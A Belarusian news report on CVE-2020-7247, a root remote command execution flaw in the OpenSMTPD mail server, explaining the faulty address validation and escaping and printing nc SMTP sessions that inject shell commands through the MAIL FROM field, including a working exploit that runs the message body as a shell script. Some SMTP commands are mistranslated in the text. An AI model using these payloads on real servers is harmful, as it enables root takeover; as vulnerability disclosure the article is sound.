Уразлівасць у OpenSMTPD, якая дазваляе выдалена выканаць код з правамі root

У які развіваецца праектам OpenBSD паштовым серверы OpenSMTPD выяўлена крытычная ўразлівасць (CVE-2020-7247), якая дазваляе выдалена выканаць shell-каманды на серверы з правамі карыстача root. Уразлівасць выяўлена падчас паўторнага аўдыту, праведзенага кампаніяй Qualys Security (мінулы аўдыт OpenSMTPD праводзіўся у 2015 годзе, а новая ўразлівасць прысутнічае з мая 2018 года). Праблема ліквідавана у выпуску OpenSMTPD 6.6.2. Усім карыстальнікам рэкамендуецца тэрмінова ўсталяваць абнаўленне (для OpenBSD выпраўленне можна ўсталяваць праз syspatch).

Прапанавана два варыянты атакі. Першы варыянт працуе ў канфігурацыі OpenSMTPD па змаўчанні (прыём запытаў толькі з localhost) і дазваляе эксплуатаваць праблему лакальна, калі атакавалы мае магчымасць звярнуцца да лакальнага сеткавага інтэрфейсу (loopback) на серверы (напрыклад, на сістэмах хостынгу). Другі варыянт праяўляецца ў выпадку настройкі OpenSMTPD для прыёму знешніх сеткавых запытаў (паштовы сервер, які прымае іншую пошту). Даследнікамі падрыхтаваны прататып эксплоіта, які паспяхова працуе як з варыянтам OpenSMTPD са складу OpenBSD 6.6, так і з пераноснай версіяй для іншых АС (праведзена ў Debian Testing).

Праблема выклікана памылкай у функцыі smtp_mailaddr(), выкліканай для праверкі карэктнасці значэнняў у палях "MAIL FROM" і "RCPT TO", якія вызначаюць адпраўніка/атрымальніка і перадаюцца падчас злучэння з паштовым серверам. Для праверкі часткі паштовага адрасу, якая ідзе перад сімвалам "@", у smtp_mailaddr() выклікаецца функцыя
valid_localpart(), якая лічыць дапушчальнымі (MAILADDR_ALLOWED) знакі «!#$%&'*/?^`{|}~+-=_», у адпаведнасці з патрабаваннямі RFC 5322.

Пры гэтым непасрэднае экранаванне радка вырабляецца ў функцыі mda_expand_token(), якая замяняе толькі знакі "!#$%&'*?`{|}~" (MAILADDR_ESCAPE). У далейшым, падрыхтаваны ў mda_expand_token() радок выкарыстоўваецца пры выкліку агента дастаўкі (MDA) пры дапамозе каманды 'execle(«/bin/sh», «/bin/sh», «-c», mda_command,…'. У выпадку памяшкання ліста ў mbox праз /bin/sh запускаецца радок "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}", дзе значэнне "%{mbox.from}" уключае экранаваныя дадзеныя з параметру "MAIL FROM".

Сутнасць уразлівасць у тым, што smtp_mailaddr() мае лагічную памылку, з-за якой у выпадку перадачы пустога дамена ў email, функцыя вяртае паспяховы код праверкі, нават калі частка адрасу да "@" утрымоўвае недапушчальныя знакі. Далей пры падрыхтоўцы радка функцыяй mda_expand_token() экрануюцца не ўсе магчымыя спецзнакі shell, а толькі спецзнакі дапушчальныя ў паштовым адрасе. Такім чынам, для запуску сваёй каманды дастаткова выкарыстоўваць у лакальнай частцы email сімвал «;» і прабел, якія не ўваходзяць у набор MAILADDR_ESCAPE і не экрануюцца. Напрыклад:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:
ДАДЗЕНЫЯ
.
ВЫХАД

Пасля дадзенага сеансу OpenSMTPD пры дастаўцы ў mbox запусціць праз shell каманду

/usr/libexec/mail.local -f ;sleep 66; root

Пры гэтым, магчымасці нападу абмяжоўваюцца тым, што лакальная частка адрасу не можа перавышаць 64 знака, а спецзнакі '$' і '|' замяняюцца на ":" пры экранаванні. Для абыходу дадзенага абмежавання скарыстаны той факт, што цела ліста перадаецца пасля запуску /usr/libexec/mail.local праз уваходны струмень, г.зн. праз маніпуляцыі з адрасам можна запусціць толькі камандны інтэрпрэтатар sh і задзейнічаць цела ліста як набор інструкцый. Бо ў пачатку ліста паказваюцца службовыя SMTP-загалоўкі, для іх пропуску прапануецца выкарыстоўваць выклік каманды read у цыкле. Рабочы эксплоіт набывае прыкладна такі выгляд:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT TO:[электронная пошта абаронена]>
ДАДЗЕНЫЯ
#0
#1
...
#d
for i in WOPR; do
echo -n «($i) » && id || break
done > /root/x.»`id -u`».»$$»
.
ВЫХАД

Крыніца: opennet.ru

Дадаць каментар